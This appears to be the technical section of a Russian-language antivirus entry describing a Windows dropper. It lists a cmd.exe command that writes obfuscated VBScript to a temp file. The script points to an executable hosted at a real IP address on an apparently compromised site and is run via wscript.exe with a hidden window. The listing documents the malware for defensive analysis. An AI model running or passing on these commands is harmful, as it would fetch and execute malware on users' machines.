Техническая информация
- '<SYSTEM32>\cmd.exe' /c cd %TEMP% & @ECHO J5k= "http://162.144.215.236/~libratool//wp-admin/css/upload/bind1.exe">>Q2d.VBS &@ECHO B1q = H2g("UEXJQUV0GZG")>>Q2d.VBS &@ECHO Set G7z = CreateObject(H2g("OUZON40ZONJVVR"...
- %TEMP%\q2d.vbs
- %TEMP%\q2d.vbs
- '16#.#44.215.236':80
- '<SYSTEM32>\wscript.exe' "%TEMP%\Q2d.VBS"
- '<SYSTEM32>\cmd.exe' /c cd %TEMP% & @ECHO J5k= "http://162.144.215.236/~libratool//wp-admin/css/upload/bind1.exe">>Q2d.VBS &@ECHO B1q = H2g("UEXJQUV0GZG")>>Q2d.VBS &@ECHO Set G7z = CreateObject(H2g("OUZON40ZONJVVR"...' (со скрытым окном)
- '<SYSTEM32>\timeout.exe' 13